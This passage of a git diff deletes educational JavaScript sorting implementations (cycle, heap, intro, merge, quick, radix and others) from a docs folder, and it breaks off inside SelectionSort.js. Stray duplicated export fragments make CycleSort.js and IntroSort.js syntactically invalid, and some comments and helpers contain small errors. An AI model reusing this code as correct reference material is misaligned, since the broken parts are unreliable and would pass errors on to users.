-// const array = [3, 0, 2, 5, 4, 1]
-// countingSort(array, 0, 5)
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/CycleSort.js b/docs/content/DS_ALGO/algorithms/Sorts/CycleSort.js
deleted file mode 100644
index c8a9d303f4..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/CycleSort.js
+++ /dev/null
@@ -1,58 +0,0 @@
-/**
- * Cycle sort is an in-place, unstable sorting algorithm,
- * a comparison sort that is theoretically optimal in terms of the total
- * number of writes to the original array, unlike any other in-place sorting
- * algorithm. It is based on the idea that the permutation to be sorted can
- * be factored into cycles, which can individually be rotated to give a sorted result.
- *
- * Wikipedia: https://en.wikipedia.org/wiki/Cycle_sort
- */
-/**
- * cycleSort takes an input array of numbers and returns the array sorted in increasing order.
- *
- * @param {number[]} list An array of numbers to be sorted.
- * @return {number[]} An array of numbers sorted in increasing order.
- */
-function cycleSort(list) {
-    for (let cycleStart = 0; cycleStart < list.length; cycleStart++) {
-        let value = list[cycleStart];
-        let position = cycleStart;
-        // search position
-        for (let i = cycleStart + 1; i < list.length; i++) {
-            if (list[i] < value) {
-                position++;
-            }
-        }
-        // if it is the same, continue
-        if (position === cycleStart) {
-            continue;
-        }
-        while (value === list[position]) {
-            position++;
-        }
-        const oldValue = list[position];
-        list[position] = value;
-        value = oldValue;
-        // rotate the rest
-        while (position !== cycleStart) {
-            position = cycleStart;
-            for (let i = cycleStart + 1; i < list.length; i++) {
-                if (list[i] < value) {
-                    position++;
-                }
-            }
-            while (value === list[position]) {
-                position++;
-            }
-            const oldValueCycle = list[position];
-            list[position] = value;
-            value = oldValueCycle;
-        }
-    }
-    return list;
-}
-export {
-    cycleSort
-};
-cycleSort
-};
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/FindSecondLargestElement.js b/docs/content/DS_ALGO/algorithms/Sorts/FindSecondLargestElement.js
deleted file mode 100644
index dce6d9af27..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/FindSecondLargestElement.js
+++ /dev/null
@@ -1,21 +0,0 @@
-/*
- * Find Second Largest is a real technical interview question.
- * Chances are you will be asked to find the second largest value
- * inside of an array of numbers. You must also be able to filter
- * out duplicate values.  It's important to know how to do this with
- * clean code that is also easy to explain.
- *
- * Resources:
- * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set
- */
-const secondLargestElement = (array) => {
-    const largestElement = Math.max(...array);
-    let element = 0;
-    for (let i = 0; i < array.length; i++) {
-        if (element < array[i] && array[i] !== largestElement) {
-            element = array[i];
-        }
-    }
-    return element;
-};
-export { secondLargestElement };
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/FisherYatesShuffle.js b/docs/content/DS_ALGO/algorithms/Sorts/FisherYatesShuffle.js
deleted file mode 100644
index 16568e1268..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/FisherYatesShuffle.js
+++ /dev/null
@@ -1,15 +0,0 @@
-export const shuffle = (array) => {
-    let maxLength = array.length;
-    let temp;
-    let idx;
-    // While there remain elements to shuffle...
-    while (maxLength) {
-        // Pick a remaining element...
-        idx = Math.floor(Math.random() * maxLength--);
-        // And swap it with the current element
-        temp = array[maxLength];
-        array[maxLength] = array[idx];
-        array[idx] = temp;
-    }
-    return array;
-};
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/FlashSort.js b/docs/content/DS_ALGO/algorithms/Sorts/FlashSort.js
deleted file mode 100644
index ab158b0e9e..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/FlashSort.js
+++ /dev/null
@@ -1,75 +0,0 @@
-/**
- * Flashsort is a distribution sorting algorithm showing linear
- * computational complexity O(n) for uniformly distributed
- * data sets and relatively little additional memory requirement.
- *
- * Wikipedia: https://en.wikipedia.org/wiki/Flashsort
- */
-export function flashSort(arr) {
-    let max = 0;
-    let min = arr[0];
-    const n = arr.length;
-    const m = ~~(0.45 * n);
-    const l = new Array(m);
-    for (let i = 1; i < n; ++i) {
-        if (arr[i] < min) {
-            min = arr[i];
-        }
-        if (arr[i] > arr[max]) {
-            max = i;
-        }
-    }
-    if (min === arr[max]) {
-        return arr;
-    }
-    const c1 = (m - 1) / (arr[max] - min);
-    for (let k = 0; k < m; k++) {
-        l[k] = 0;
-    }
-    for (let j = 0; j < n; ++j) {
-        const k = ~~(c1 * (arr[j] - min));
-        ++l[k];
-    }
-    for (let p = 1; p < m; ++p) {
-        l[p] = l[p] + l[p - 1];
-    }
-    let hold = arr[max];
-    arr[max] = arr[0];
-    arr[0] = hold;
-    // permutation
-    let move = 0;
-    let t;
-    let flash;
-    let j = 0;
-    let k = m - 1;
-    while (move < n - 1) {
-        while (j > l[k] - 1) {
-            ++j;
-            k = ~~(c1 * (arr[j] - min));
-        }
-        if (k < 0) break;
-        flash = arr[j];
-        while (j !== l[k]) {
-            k = ~~(c1 * (flash - min));
-            hold = arr[(t = --l[k])];
-            arr[t] = flash;
-            flash = hold;
-            ++move;
-        }
-    }
-    // insertion
-    for (j = 1; j < n; j++) {
-        hold = arr[j];
-        let i = j - 1;
-        while (i >= 0 && arr[i] > hold) {
-            arr[i + 1] = arr[i--];
-        }
-        arr[i + 1] = hold;
-    }
-    return arr;
-}
-/**
- * Implementation of Flash Sort
- */
-// const array = [3, 0, 2, 5, -1, 4, 1, -2]
-// flashSort(array)
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/GnomeSort.js b/docs/content/DS_ALGO/algorithms/Sorts/GnomeSort.js
deleted file mode 100644
index 73f36d79cd..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/GnomeSort.js
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Gnome sort is a sort algorithm that moving an element to its proper place is accomplished by a series of swap
- * more information: https://en.wikipedia.org/wiki/Gnome_sort
- *
- */
-export function gnomeSort(items) {
-    if (items.length <= 1) {
-        return;
-    }
-    let i = 1;
-    while (i < items.length) {
-        if (items[i - 1] <= items[i]) {
-            i++;
-        } else {
-            [items[i], items[i - 1]] = [items[i - 1], items[i]];
-            i = Math.max(1, i - 1);
-        }
-    }
-}
-// Implementation of gnomeSort
-// const ar = [5, 6, 7, 8, 1, 2, 12, 14]
-// gnomeSort(ar)
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/HeapSort.js b/docs/content/DS_ALGO/algorithms/Sorts/HeapSort.js
deleted file mode 100644
index f512d9b4ad..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/HeapSort.js
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Build a max heap out of the array. A heap is a specialized tree like
- * data structure that satisfies the heap property. The heap property
- * for max heap is the following: "if P is a parent node of C, then the
- * key (the value) of node P is greater than the key of node C"
- * Source: https://en.wikipedia.org/wiki/Heap_(data_structure)
- */
-/* eslint no-extend-native: ["off", { "exceptions": ["Object"] }] */
-Array.prototype.heapify = function (index, heapSize) {
-    let largest = index;
-    const leftIndex = 2 * index + 1;
-    const rightIndex = 2 * index + 2;
-    if (leftIndex < heapSize && this[leftIndex] > this[largest]) {
-        largest = leftIndex;
-    }
-    if (rightIndex < heapSize && this[rightIndex] > this[largest]) {
-        largest = rightIndex;
-    }
-    if (largest !== index) {
-        const temp = this[largest];
-        this[largest] = this[index];
-        this[index] = temp;
-        this.heapify(largest, heapSize);
-    }
-};
-/*
- * Heap sort sorts an array by building a heap from the array and
- * utilizing the heap property.
- * For more information see: https://en.wikipedia.org/wiki/Heapsort
- */
-export function heapSort(items) {
-    const length = items.length;
-    for (let i = Math.floor(length / 2) - 1; i > -1; i--) {
-        items.heapify(i, length);
-    }
-    for (let j = length - 1; j > 0; j--) {
-        const tmp = items[0];
-        items[0] = items[j];
-        items[j] = tmp;
-        items.heapify(0, j);
-    }
-    return items;
-}
-// Implementation of heapSort
-// const ar = [5, 6, 7, 8, 1, 2, 12, 14]
-// heapSort(ar)
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/HeapSortV2.js b/docs/content/DS_ALGO/algorithms/Sorts/HeapSortV2.js
deleted file mode 100644
index 9f975e8963..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/HeapSortV2.js
+++ /dev/null
@@ -1,31 +0,0 @@
-let arrayLength = 0;
-/* to create MAX  array */
-function heapRoot(input, i) {
-    const left = 2 * i + 1;
-    const right = 2 * i + 2;
-    let max = i;
-    if (left < arrayLength && input[left] > input[max]) {
-        max = left;
-    }
-    if (right < arrayLength && input[right] > input[max]) {
-        max = right;
-    }
-    if (max !== i) {
-        swap(input, i, max);
-        heapRoot(input, max);
-    }
-}
-function swap(input, indexA, indexB) {
-    [input[indexA], input[indexB]] = [input[indexB], input[indexA]];
-}
-export function heapSort(input) {
-    arrayLength = input.length;
-    for (let i = Math.floor(arrayLength / 2); i >= 0; i -= 1) {
-        heapRoot(input, i);
-    }
-    for (let i = input.length - 1; i > 0; i--) {
-        swap(input, 0, i);
-        arrayLength--;
-        heapRoot(input, 0);
-    }
-}
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/InsertionSort.js b/docs/content/DS_ALGO/algorithms/Sorts/InsertionSort.js
deleted file mode 100644
index f24f6a2b78..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/InsertionSort.js
+++ /dev/null
@@ -1,56 +0,0 @@
-/* In insertion sort, we divide the initial unsorted array into two parts;
- * sorted part and unsorted part. Initially the sorted part just has one
- * element (Array of only 1 element is a sorted array). We then pick up
- * element one by one from unsorted part; insert into the sorted part at
- * the correct position and expand sorted part one element at a time.
- */
-export function insertionSort(unsortedList) {
-    const len = unsortedList.length;
-    for (let i = 1; i < len; i++) {
-        let j;
-        const tmp = unsortedList[i]; // Copy of the current element.
-        /* Check through the sorted part and compare with the number in tmp. If large, shift the number */
-        for (j = i - 1; j >= 0 && unsortedList[j] > tmp; j--) {
-            // Shift the number
-            unsortedList[j + 1] = unsortedList[j];
-        }
-        // Insert the copied number at the correct position
-        // in sorted part.
-        unsortedList[j + 1] = tmp;
-    }
-}
-/**
- * @function insertionSortAlternativeImplementation
- * @description InsertionSort is a stable sorting algorithm
- * @param {Integer[]} array - Array of integers
- * @return {Integer[]} - Sorted array
- * @see [InsertionSort](https://en.wikipedia.org/wiki/Quicksort)
- */
-/*
-  * Big-O Analysis
-      * Time Complexity
-        - O(N^2) on average and worst case scenario
-        - O(N) on best case scenario (when input array is already almost sorted)
-      * Space Complexity
-        - O(1)
-*/
-export function insertionSortAlternativeImplementation(array) {
-    const length = array.length;
-    if (length < 2) return array;
-    for (let i = 1; i < length; i++) {
-        // Take current element in array
-        const currentItem = array[i];
-        // Take index of previous element in array
-        let j = i - 1;
-        // While j >= 0 and previous element is greater than current element
-        while (j >= 0 && array[j] > currentItem) {
-            // Move previous, greater element towards the unsorted part
-            array[j + 1] = array[j];
-            j--;
-        }
-        // Insert currentItem number at the correct position in sorted part.
-        array[j + 1] = currentItem;
-    }
-    // Return array sorted in ascending order
-    return array;
-}
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/IntroSort.js b/docs/content/DS_ALGO/algorithms/Sorts/IntroSort.js
deleted file mode 100644
index bbd5d0b017..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/IntroSort.js
+++ /dev/null
@@ -1,308 +0,0 @@
-/**
- * @function Intosort (As implemented in STD C++ Lib)
- * The function performs introsort which is used in
- * C++ Standard LIbrary, the implementation is inspired from]
- * library routine itself.
- * ALGORITHM:
- * 1) It performs quicksort on array until the recursion depth
- *    exceeds a pre determined limit.
- * 2) If the limit is reached it switches to heapsort
- * 3) For array size less than a threshold(16) directly
- *    does insertion sort on array
- * @param {Array} array the array to be sorted
- * @param {Function} compare the comparison function
- *
- * @see [Introsort](https://en.wikipedia.org/wiki/Introsort)
- * @author [Lakhan Nad](https://github.com/Lakhan-Nad)
- */
-function introsort(array, compare) {
-    /**
-     * @function Default Comparison Function
-     * This function is same as implemented by
-     * Array.sort method
-     * @see [StackOverflow](https://stackoverflow.com/questions/47334234/how-to-implement-array-prototype-sort-default-compare-function)
-     * @param {*} a variable 1
-     * @param {*} b variable 2
-     * @returns {Number}
-     * -1 if a is less than b
-     *  0 if a is equal to b
-     *  1 if a greater than b
-     */
-    const defaultComparator = function(x, y) {
-        if (x === undefined && y === undefined) return 0;
-        if (x === undefined) return 1;
-        if (y === undefined) return -1;
-        const xString = toString(x);
-        const yString = toString(y);
-        if (xString < yString) return -1;
-        if (xString > yString) return 1;
-        return 0;
-    };
-    /**
-     * @function helper function for defaultComparator
-     * Converts a given object to String
-     * @throws TypeError()
-     * @param {Object} obj
-     * @returns {String} String representation of given object
-     */
-    const toString = function(obj) {
-        if (obj === null) return 'null';
-        if (typeof obj === 'boolean' || typeof obj === 'number') {
-            return obj.toString();
-        }
-        if (typeof obj === 'string') return obj;
-        if (typeof obj === 'symbol') throw new TypeError();
-        return obj.toString();
-    };
-    /**
-     * Checks if the value passed is an array
-     * or not
-     */
-    if (Array.isArray(array) === false) {
-        return;
-    }
-    /**
-     * If the compare parameter is not a function
-     * or not passed at all use default comparator
-     * function
-     */
-    if (typeof compare !== 'function') {
-        compare = defaultComparator; // If compare is not a comparator function
-    }
-    /**
-     * Use a closure to define the whole sort
-     * implementation this is done through
-     * [IIFE](https://en.wikipedia.org/wiki/Immediately_invoked_function_expression)
-     */
-    return (function(array, comparator) {
-        const swap = function(index1, index2) {
-            const temp = array[index1];
-            array[index1] = array[index2];
-            array[index2] = temp;
-        };
-        /**
-         * @constant THRESHOLD
-         * If the length of array is less than
-         * this then we simply perform insertion sort
-         */
-        const THRESHOLD = 16;
-        /**
-         * @constant TUNEMAXDEPTH
-         * Constant usec to increase or decrease value
-         * of maxDepth
-         */
-        const TUNEMAXDEPTH = 1;
-        const len = array.length;
-        /**
-         * Return if array is only of length 1
-         * Array of size 1 is always sorted
-         */
-        if (len === 1) {
-            return;
-        }
-        /**
-         * Calculate maxDepth = log2(len)
-         * Taken from implementation in stdc++
-         */
-        const maxDepth = Math.floor(Math.log2(len)) * TUNEMAXDEPTH;
-        /**
-         * The very first call to quicksort
-         * this initiates sort routine
-         */
-        quickSort(0, len, maxDepth);
-        /**
-         * A final check call to insertion sort
-         * on sorted array
-         */
-        insertionSort(0, len);
-        /** *********************  Implementation of various routines  **************************/
-        /**
-         * @function
-         * This is recursive quicksort implementation in array
-         * of segment [start,last-1]
-         * [QuickSort](https://en.wikipedia.org/wiki/Quicksort)
-         * @param {Number} start the start index of array segment to be sorted
-         * @param {Number} last  one more than the last index of array segment
-         * @param {Number} depth this measures how many recursive calls are done
-         */
-        function quickSort(start, last, depth) {
-            if (last - start <= THRESHOLD) {
-                insertionSort(start, last);
-                return;
-            } else if (depth <= 0) {
-                heapSort(start, last);
-                return;
-            }
-            let pivot = (last + start) >> 1;
-            pivot = partition(start, last, pivot);
-            quickSort(start, pivot, depth - 1);
-            quickSort(pivot + 1, last, depth - 1);
-        }
-        /**
-         * @function Helper function to quicksort
-         * @param {Number} start the start of array segment to partition
-         * @param {Number} last  one more than last index of the array segment
-         * @param {Number} pivot the index of pivot to be used
-         * @returns {Number} the index of pivot after partition
-         */
-        function partition(start, last, pivot) {
-            swap(start, pivot);
-            pivot = start;
-            let lo = start;
-            let hi = last;
-            while (true) {
-                lo++;
-                while (comparator(array[lo], array[pivot]) <= 0 && lo !== last) {
-                    lo++;
-                }
-                hi--;
-                while (comparator(array[hi], array[pivot]) > 0 && hi !== start) {
-                    hi--;
-                }
-                if (lo >= hi) {
-                    break;
-                }
-                swap(lo, hi);
-            }
-            swap(start, hi);
-            return hi;
-        }
-        /**
-         * @function
-         * Performs insertion sort on array of range
-         * [start, last-1]
-         * @param {Number} start the first index of array segment to be sorted
-         * @param {Number} last  one more than last index of array to be sorted
-         */
-        function insertionSort(start, last) {
-            let i, j;
-            for (i = start + 1; i < last; i++) {
-                j = i - 1;
-                while (j >= 0 && comparator(array[j], array[j + 1]) > 0) {
-                    swap(j, j + 1);
-                    j--;
-                }
-            }
-        }
-        /**
-         * @function
-         * Performs heapsort in array segment of range [start, last-1]
-         * [HeapSort](https://en.wikipedia.org/wiki/Heapsort)
-         * @param {Number} start the first index of array segment to be sorted
-         * @param {Number} last  one more than last index of array to be sorted
-         */
-        function heapSort(start, last) {
-            let x = (last + start) >> 1;
-            while (x - start >= 0) {
-                heapify(x, start, last);
-                x--;
-            }
-            x = last - 1;
-            while (x - start > 0) {
-                swap(start, x);
-                heapify(start, start, x);
-                x--;
-            }
-        }
-        /**
-         * @function Helper function to heapsort routine
-         * @param {Number} cur the index we need to heapify
-         * @param {Number} start the start index of array segment that cur belongs to
-         * @param {Number} last  one more than last index of segment that cur belongs to
-         */
-        function heapify(cur, start, last) {
-            const size = last - start;
-            let max, lt, rt;
-            cur = cur - start;
-            while (true) {
-                max = cur;
-                lt = 2 * max + 1;
-                rt = 2 * max + 2;
-                if (lt < size && comparator(array[start + max], array[start + lt]) < 0) {
-                    max = lt;
-                }
-                if (rt < size && comparator(array[start + max], array[start + rt]) < 0) {
-                    max = rt;
-                }
-                if (max !== cur) {
-                    swap(start + cur, start + max);
-                    cur = max;
-                } else {
-                    break;
-                }
-            }
-        }
-    })(array, compare);
-}
-/**
- * @example Demo run of the sort routine
- * The data is randomly generated
- * Returns 'RIGHT:)' if the sort routine worked as expected,
- *         'WRONG!!' otherwise
- */
-function demo1() {
-    const data = [];
-    const size = 1000000;
-    let i = 0;
-    let temp;
-    const c = function(a, b) {
-        return a - b;
-    };
-    for (i = 0; i < size; i++) {
-        temp = Math.random() * Number.MAX_SAFE_INTEGER;
-        data.push(temp);
-    }
-    introsort(data, c);
-    let faulty = false;
-    for (i = 1; i < size; i++) {
-        if (data[i] < data[i - 1]) {
-            faulty = true;
-            break;
-        }
-    }
-    if (faulty) {
-        return 'WRONG!!';
-    } else {
-        return 'RIGHT:)';
-    }
-}
-/**
- * @example Demo run of the sort routine
- * using the default compare function and
- * comparing the results with Array.sort
- */
-function demo2() {
-    const data = [];
-    const data2 = [];
-    const size = 1000000;
-    let i = 0;
-    let temp;
-    for (i = 0; i < size; i++) {
-        temp = Math.random() * Number.MAX_SAFE_INTEGER;
-        data.push(temp);
-        data2.push(temp);
-    }
-    introsort(data);
-    data2.sort();
-    let faulty = false;
-    for (i = 1; i < size; i++) {
-        if (data[i] !== data2[i]) {
-            faulty = true;
-            break;
-        }
-    }
-    if (faulty) {
-        return 'WRONG Implemented Comparator!!';
-    } else {
-        return 'Comparator Works Fine:)';
-    }
-}
-export {
-    introsort,
-    demo1,
-    demo2
-};
-introsort,
-demo1,
-demo2
-};
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/MergeSort.js b/docs/content/DS_ALGO/algorithms/Sorts/MergeSort.js
deleted file mode 100644
index 1ea55fe40d..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/MergeSort.js
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * MergeSort implementation.
- *
- * Merge Sort is an algorithm where the main list is divided down into two half sized lists, which then have merge sort
- * called on these two smaller lists recursively until there is only a sorted list of one.
- *
- * On the way up the recursive calls, the lists will be merged together inserting
- * the smaller value first, creating a larger sorted list.
- */
-/**
- * Sort and merge two given arrays.
- *
- * @param {Array} list1 Sublist to break down.
- * @param {Array} list2 Sublist to break down.
- * @return {Array} The merged list.
- */
-export function merge(list1, list2) {
-    const results = [];
-    let i = 0;
-    let j = 0;
-    while (i < list1.length && j < list2.length) {
-        if (list1[i] < list2[j]) {
-            results.push(list1[i++]);
-        } else {
-            results.push(list2[j++]);
-        }
-    }
-    return results.concat(list1.slice(i), list2.slice(j));
-}
-/**
- * Break down the lists into smaller pieces to be merged.
- *
- * @param {Array} list List to be sorted.
- * @return {Array} The sorted list.
- */
-export function mergeSort(list) {
-    if (list.length < 2) return list;
-    const listHalf = Math.floor(list.length / 2);
-    const subList1 = list.slice(0, listHalf);
-    const subList2 = list.slice(listHalf, list.length);
-    return merge(mergeSort(subList1), mergeSort(subList2));
-}
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/OddEvenSort.js b/docs/content/DS_ALGO/algorithms/Sorts/OddEvenSort.js
deleted file mode 100644
index 897453d7aa..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/OddEvenSort.js
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
-  odd-even sort or odd-even transposition sort
-  is a relatively simple sorting algorithm, developed originally for use on parallel processors with local interconnections.
-  It is a comparison sort related to bubble sort, with which it shares many characteristics.
-   for more information : https://en.wikipedia.org/wiki/Odd%E2%80%93even_sort
-*/
-// Helper function to swap array items
-function swap(arr, i, j) {
-    const tmp = arr[i];
-    arr[i] = arr[j];
-    arr[j] = tmp;
-}
-export function oddEvenSort(arr) {
-    let sorted = false;
-    while (!sorted) {
-        sorted = true;
-        for (let i = 1; i < arr.length - 1; i += 2) {
-            if (arr[i] > arr[i + 1]) {
-                swap(arr, i, i + 1);
-                sorted = false;
-            }
-        }
-        for (let i = 0; i < arr.length - 1; i += 2) {
-            if (arr[i] > arr[i + 1]) {
-                swap(arr, i, i + 1);
-                sorted = false;
-            }
-        }
-    }
-}
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/PancakeSort.js b/docs/content/DS_ALGO/algorithms/Sorts/PancakeSort.js
deleted file mode 100644
index 978625d7f7..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/PancakeSort.js
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- * Unlike a traditional sorting algorithm, which attempts to sort with the fewest
- * comparisons possible, the goal of pancake sort is to sort the sequence in as few reversals as
- * possible. The idea is to do something similar to Selection Sort. We one by one place
- * maximum element at the end and reduce the size of current array by one.
- *
- * Source: https://www.geeksforgeeks.org/pancake-sorting/
- *
- * This sorting algorithm is inspired by the pancake problem (hence the name),
- * where a spatula can be placed anywhere between two pancakes and flip all pancakes
- * above.
- *
- * The interesting about this algorithm (besides its name) is that instead of comparisons,
- * the algorithm relies on flipping an array.
- *
- * Source: https://en.wikipedia.org/wiki/Pancake_sorting#The_original_pancake_problem
- *
- */
-/**
- * Unlike Array.prototype.reverse, flipArray reverses only a subarray of the given
- * array, determined by the parameters startIndex and endIndex
- *
- * @param {number[]} array The array to flip
- * @param {number} startIndex The start of the subarray
- * @param {number} endIndex The end of the subarray
- * @returns The flipped array
- */
-export function flipArray(array, startIndex, endIndex) {
-    while (startIndex < endIndex) {
-        // swap front and back of the subarray
-        const temp = array[startIndex];
-        array[startIndex] = array[endIndex];
-        array[endIndex] = temp;
-        // essentially reducing the problem to a smaller subarray
-        startIndex++;
-        endIndex--;
-    }
-    return array;
-}
-/**
- * Returns the index of the maximum number of a subarray in a given array
- *
- * @param {number[]} array The array to found the maximum number's index
- * @param {*} startIndex The start of the subarray
- * @param {*} endIndex The end of the subarray
- * @returns The index of the maximum number
- */
-export function findMax(array, startIndex, endIndex) {
-    let maxIndex = 0;
-    for (let i = startIndex; i <= endIndex; i++) {
-        if (array[i] > array[maxIndex]) maxIndex = i;
-    }
-    return maxIndex;
-}
-/**
- * The Pancake Sort algorithm.
- *
- * Note that even though it's a completely different concept of sorting an
- * array, it's rather simple!
- *
- * @param {number[]} array The array to sort
- * @returns The sorted array
- */
-export function pancakeSort(array) {
-    for (let subarraySize = array.length; subarraySize > 1; subarraySize--) {
-        const maximumIndex = findMax(array, 0, subarraySize - 1);
-        if (maximumIndex !== subarraySize - 1) {
-            flipArray(array, 0, maximumIndex);
-            flipArray(array, 0, subarraySize - 1);
-        }
-    }
-    return array;
-}
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/PigeonHoleSort.js b/docs/content/DS_ALGO/algorithms/Sorts/PigeonHoleSort.js
deleted file mode 100644
index 230665dbb6..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/PigeonHoleSort.js
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
-https://en.wikipedia.org/wiki/Pigeonhole_sort
-*Pigeonhole sorting is a sorting algorithm that is suitable
-* for sorting lists of elements where the number of elements
-* (n) and the length of the range of possible key values (N)
-* are approximately the same.
- */
-export function pigeonHoleSort(arr) {
-    let min = arr[0];
-    let max = arr[0];
-    for (let i = 0; i < arr.length; i++) {
-        if (arr[i] > max) {
-            max = arr[i];
-        }
-        if (arr[i] < min) {
-            min = arr[i];
-        }
-    }
-    const range = max - min + 1;
-    const pigeonhole = Array(range).fill(0);
-    for (let i = 0; i < arr.length; i++) {
-        pigeonhole[arr[i] - min]++;
-    }
-    let index = 0;
-    for (let j = 0; j < range; j++) {
-        while (pigeonhole[j]-- > 0) {
-            arr[index++] = j + min;
-        }
-    }
-}
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/QuickSort.js b/docs/content/DS_ALGO/algorithms/Sorts/QuickSort.js
deleted file mode 100644
index 7ae64bb127..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/QuickSort.js
+++ /dev/null
@@ -1,26 +0,0 @@
-/**
- * @function QuickSort
- * @description Quick sort is a comparison sorting algorithm that uses a divide and conquer strategy.
- * @param {Integer[]} items - Array of integers
- * @return {Integer[]} - Sorted array.
- * @see [QuickSort](https://en.wikipedia.org/wiki/Quicksort)
- */
-function quickSort(items) {
-    const length = items.length;
-    if (length <= 1) {
-        return items;
-    }
-    const PIVOT = items[0];
-    const GREATER = [];
-    const LESSER = [];
-    for (let i = 1; i < length; i++) {
-        if (items[i] > PIVOT) {
-            GREATER.push(items[i]);
-        } else {
-            LESSER.push(items[i]);
-        }
-    }
-    const sorted = [...quickSort(LESSER), PIVOT, ...quickSort(GREATER)];
-    return sorted;
-}
-export { quickSort };
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/QuickSortRecursive.js b/docs/content/DS_ALGO/algorithms/Sorts/QuickSortRecursive.js
deleted file mode 100644
index 132555d013..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/QuickSortRecursive.js
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
-    Quicksort is the most popular sorting algorithm and there have
-    lots of different implementations but the "recursive" or "Partition in place"
-    is one of the most efficient implementations below we have discussed how to
-    implement it.
-    Partition in place => "in place" Partition in place indicates that we
-    do not need any other space to store the auxiliary array and the term
-    "partition" denotes that we split the list into two parts one is less
-    than the pivot and the other is greater than the pivot and repeats this
-    process recursively and breaks the problem into sub-problems and makes
-    it singular so that the behavior or "divide and conquer" get involved
-    too.
-    Problem & Source of Explanation => https://www.cs.auckland.ac.nz/software/AlgAnim/qsort1a.html
-*/
-/**
- * Partition in place QuickSort.
- * @param {number[]} inputList list of values.
- * @param {number} low lower index for partition.
- * @param {number} high higher index for partition.
- */
-const quickSort = (inputList, low, high) => {
-    if (!Array.isArray(inputList)) {
-        throw new TypeError('Please input a valid list or array.');
-    }
-    if (low < high) {
-        // get the partition index.
-        const pIndex = partition(inputList, low, high);
-        // recursively call the quickSort method again.
-        quickSort(inputList, low, pIndex - 1);
-        quickSort(inputList, pIndex + 1, high);
-    }
-    return inputList;
-};
-/**
- * Partition In Place method.
- * @param {number[]} partitionList list for partitioning.
- * @param {number} low lower index for partition.
- * @param {number} high higher index for partition.
- * @returns {number} `pIndex` pivot index value.
- */
-const partition = (partitionList, low, high) => {
-    const pivot = partitionList[high];
-    let pIndex = low;
-    for (let index = low; index <= high - 1; index++) {
-        if (partitionList[index] < pivot) {
-            // swap variables using array destructuring
-            [partitionList[index], partitionList[pIndex]] = [partitionList[pIndex], partitionList[index]];
-            pIndex += 1;
-        }
-    }
-    [partitionList[pIndex], partitionList[high]] = [partitionList[high], partitionList[pIndex]];
-    return pIndex;
-};
-export { quickSort };
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/RadixSort.js b/docs/content/DS_ALGO/algorithms/Sorts/RadixSort.js
deleted file mode 100644
index 0c1676be4e..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/RadixSort.js
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Radix sorts an integer array without comparing the integers.
- * It groups the integers by their digits which share the same
- * significant position.
- * For more information see: https://en.wikipedia.org/wiki/Radix_sort
- */
-export function radixSort(items, RADIX) {
-    // default radix is then because we usually count to base 10
-    if (RADIX === undefined || RADIX < 1) {
-        RADIX = 10;
-    }
-    let maxLength = false;
-    let placement = 1;
-    while (!maxLength) {
-        maxLength = true;
-        const buckets = [];
-        for (let i = 0; i < RADIX; i++) {
-            buckets.push([]);
-        }
-        for (let j = 0; j < items.length; j++) {
-            const tmp = items[j] / placement;
-            buckets[Math.floor(tmp % RADIX)].push(items[j]);
-            if (maxLength && tmp > 0) {
-                maxLength = false;
-            }
-        }
-        let a = 0;
-        for (let b = 0; b < RADIX; b++) {
-            const buck = buckets[b];
-            for (let k = 0; k < buck.length; k++) {
-                items[a] = buck[k];
-                a++;
-            }
-        }
-        placement *= RADIX;
-    }
-    return items;
-}
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/SelectionSort.js b/docs/content/DS_ALGO/algorithms/Sorts/SelectionSort.js
deleted file mode 100644
index b466ea40ca..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/SelectionSort.js
+++ /dev/null
@@ -1,35 +0,0 @@
-/* The selection sort algorithm sorts an array by repeatedly finding the minimum element
- *(considering ascending order) from unsorted part and putting it at the beginning. The
- *algorithm maintains two subarrays in a given array.
- *1) The subarray which is already sorted.
- *2) Remaining subarray which is unsorted.
- *
- *In every iteration of selection sort, the minimum element (considering ascending order)
- *from the unsorted subarray is picked and moved to the sorted subarray.
- */
-export const selectionSort = (list) => {
-        if (!Array.isArray(list)) {
-            throw new TypeError('Given input is not an array');
-        }
-        const items = [...list]; // We don't want to modify the original array
-        const length = items.length;
-        for (let i = 0; i < length - 1; i++) {
-            if (typeof items[i] !== 'number') {
-                throw new TypeError('One of the items in your array is not a number');
-            }
